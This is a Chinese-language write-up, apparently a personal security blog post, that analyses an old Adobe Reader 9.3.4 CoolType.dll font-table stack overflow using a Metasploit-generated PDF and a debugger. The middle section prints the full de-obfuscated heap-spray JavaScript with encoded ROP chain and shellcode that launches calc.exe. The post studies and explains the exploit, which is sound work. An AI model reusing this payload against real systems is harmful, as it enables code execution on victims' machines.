题外话

这么老的一个洞,在看雪搜文章的时候发现火绒发了篇文章,竟然现在还有利用这个洞的病毒
https://bbs.pediy.com/thread-260419.htm

环境相关

系统:win xp sp3
软件下载地址:ftp://ftp.adobe.com/pub/adobe/reader/win/9.x/9.3.4/enu/

漏洞分析

软件安装好之后有个 CoolType.dll,在解析字体文件 SING 表 UniqueName 项的时候直接使用了 strcat

image.png
image.png

先用 msf 生成一个恶意文档

image.png
image.png

用 adobe reader 打开可以弹出一个计算器

image.png
image.png

可以使用 PDFStreamDumper 来分析 PDF 文档,在菜单中找到 search for,搜一下 TTF Fonts

image.png
image.png

搜索结果在下面

image.png
image.png

TrueTypeFont 是由美国苹果公司和微软公司共同开发的一种计算机轮廓字体(曲边描边字)类型标准。

TTF 字体中 TableEntry 结构包含了所指表的资源标记、校验和、偏移量和每个表的大小:

1
2
3
4
5
6
7
typedef struct
{
Char tag[4]; //SING字符串
ULONG checkSum; //校验和
ULONG offset; //相对文件偏移
ULONG length; //数据长度
}

在 object 10 找到 SING

image.png
image.png

根据结构中的 offset 可以分析出来,真正的位置是在:

image.png
image.png

SING 的格式如下,即 uniqueName 是在 +0x10 的位置,uniqueName 就是待会拼接的那个东西

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
typedef struct
{
USHORT tableVersionMajor;
USHORT tableVersionMinor;
USHORT glyphletVersion;
USHORT embeddinginfo;
USHORT mainGID;
USHORT unitsPerEm;
SHORT vertAdvance;
SHORT vertOrigin;
BYTE[28] uniqueName;
BYTE[16] METAMD5;
BYTE nameLength;
BYTE[] baseGlyphName;
} SINGTable;

用 OD 动态调试看一下,打开 adobe reader,再打开 OD 附加进程,F9 运行起来,然后 ctrl+G 找到 0x803DD74,这里是 ‘SING’ 进栈的地方,在这里下一个断点,然后把之前 msf 生成的 pdf 样本拖进。他会给断住,单步走几步到 0x803DD7D,此时数据窗口中跟随看一下 ecx 指向的地址

image.png
image.png

然后选中 A8 14 87 05 数据窗口中跟随一下得到:

image.png
image.png

这一块就是之前我们在 PDFStreamDumper 中搜索到的 TTF Fonts 的结构,0x00000100 是版本

执行完那个 call 之后,在数据窗口中看一下 eax 中存的地址的内容正好是 SING 表的内容,然后比较了一下 eax 与 esi 判断 SING 表是不是空的

image.png
image.png

接下来的 add eax,0x10 使得 eax 指向了 uniqueName,再通过 push eax 传参

image.png
image.png

继续单步执行,就到了 strcat 那里了,strcat 会把 0x5871150 复制到 0x012E4D8

image.png
image.png

执行完这个 call 之后在 0x012E4D8 这里下个内存访问断点

image.png
image.png

然后运行起来,当程序访问到这一块的时候就会断下来,经过多次断下之后会遇到一个 0x808B308 的 call dword ptr ds:[eax]

image.png
image.png

他接下来会通过 call 来执行 0x4A80CB38 这一块的代码,依次执行了:

1
2
3
add ebp,0x794
leave
retn

其中 leave 指令相当于

1
2
mov esp,ebp
pop ebp

这样就把 esp 指向了 uniqueName 那块内存

image.png
image.png

执行完之后执行了

1
2
pop esp
retn

把 esp 写成了之前布置好的 0c0c0c0c

image.png
image.png

retn 的时候就跑到了 0x0c0c0c0c,这个位置通过堆喷射早就布局好了 shellcode

image.png
image.png

堆喷射:在堆空间申请大量的内存,填充类似 nop 之类的滑行指令与 shellcode,这样修改返回地址跳转到堆中的某个地址的时候滑行一段时间就能执行 shellcode(跳转到一堆滑行指令比起精准跳转到 shellcode 开头要容易)

在 PDFStreamDumper 中查看一下 JS 代码:
(正常来说应该是搜索 javascript?对这个软件不太熟悉,在 object 12 中就有,不过变量名很奇怪,估计是 msf 为了绕过杀毒软件的检测)

image.png
image.png

改一下变量名:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
var shellcode = unescape(
"%u4141%u4141%u63a5%u4a80%u0000%u4a8a%u2196%u4a80%u1f90%u4a80%u903c%u4a84%ub692%u4a80%u1064%u4a80%u22c8%u4a85%u0000%u1000%u0000%u0000%u0000%u0000%u0002%u0000%u0102%u0000%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9038%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0000%u0000%u0040%u0000%u0000%u0000%u0000%u0001%u0000%u0000%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0008%u0000%ua8a6%u4a80%u1f90%u4a80%u9030%u4a84%ub692%u4a80%u1064%u4a80%uffff%uffff%u0022%u0000%u0000%u0000%u0000%u0000%u0000%u0001%u63a5%u4a80%u0004%u4a8a%u2196%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0030%u0000%ua8a6%u4a80%u1f90%u4a80%u0004%u4a8a%ua7d8%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u0020%u0000%ua8a6%u4a80%u63a5%u4a80%u1064%u4a80%uaedc%u4a80%u1f90%u4a80%u0034%u0000%ud585%u4a80%u63a5%u4a80%u1064%u4a80%u2db2%u4a84%u2ab1%u4a80%u000a%u0000%ua8a6%u4a80%u1f90%u4a80%u9170%u4a84%ub692%u4a80%uffff%uffff%uffff%uffff%uffff%uffff%u1000%u0000%uc9da%u74d9%uf424%u2958%ubdc9%u9b55%uab16%u31b1%u6831%u8318%ufce8%u6803%u7941%u57e3%uff81%ua80c%u6051%u4d84%ua060%u06f2%u10d2%u4a70%udbde%u7fd4%ua955%u70f0%u04de%ube27%u35df%ua11b%u4463%u0148%u875a%u409d%ufa9b%u106c%u7074%u85c2%uccf1%u2edf%uc049%ud267%ue319%u4546%uba12%u6748%ub6f7%u7fc0%uf214%uf49b%u88ee%udd1d%u703f%u20b1%u83f0%u65cb%u7c36%u9fbe%u0145%u5bb9%udd34%u784c%u969e%ua4f7%u7a1f%u2e61%u3713%u68e5%uc637%u032a%u4343%uc4cd%u17c2%uc0ea%ucc8f%u5193%ua275%u82ac%u1bd6%uc809%u48fa%u9320%u8f90%ua9b6%u90d6%ub1c8%uf946%u3af9%u7e09%ue906%u706e%ub04c%u19c6%u2009%u445b%u9eaa%u719f%u2b29%u865f%u5e31%uc25a%ub2f5%u5b16%ub490%u5c85%ud6b1%ucf48%u3759%u77ef%u47fb"
);
var nopnop = unescape(
"%" + "u" + "0" + "c" + "0" + "c" + "%u" + "0" + "c" + "0" + "c"
);
while (nopnop.length + 20 + 8 < 65536) nopnop += nopnop;
var_a = nopnop.substring(0, (0x0c0c - 0x24) / 2);
var_a += shellcode;
var_a += nopnop;
var_b = var_a.substring(0, 65536 / 2);
while (var_b.length < 0x80000) var_b += var_b;
var_c = var_b.substring(0, 0x80000 - (0x1020 - 0x08) / 2); //到这里每个堆块中写的滑行代码+shellcode就确定了
var var_1 = new Array();
for (i = 0; i < 0x1f0; i++) var_1[i] = var_c + "s"; //这里就挨个放了前面定义好的代码了

之后 pop ecx 把 ‘UTF-32’ 的地址给了 ecx

image.png
image.png

然后把 eax 的值 0x12E6D0 保存到了里面

image.png
image.png

在返回到 pop eax,把 CreateFileA 函数的地址放在 eax

image.png
image.png

返回后执行 jmp [eax] 去执行 CreateFileA

image.png
image.png

以隐藏的方式创建了一个临时文件,创建了一个文件,名字是:iso88951

image.png
image.png

依次执行了 CreateFileMappingA 创建文件映射对象

image.png
image.png

MapViewOfFile 将文件映射对象映射到当前程序的地址空间

image.png
image.png

memcpy 把 shellcode 写到 MapViewOfFile 返回的可读可写可执行的地址

image.png
image.png

接下来就可以正常的执行 shellcode 了

image.png
image.png

经过一段循环之后在内存中可以看到 calc.exe 了

image.png
image.png

因为要通过 WinExec 来运行 calc.exe,直接 ctrl+g 来到 WinExec 代码那里下个断点,直接 F9 运行起来就会断住

image.png
image.png

再运行的话计算器就弹出来了

image.png
image.png

参考:
https://bbs.pediy.com/thread-257172.htm
https://bbs.pediy.com/thread-251801.htm
https://www.sunxiaokong.xyz/2019-08-30/lzx-01
https://my.oschina.net/u/3281747/blog/1789733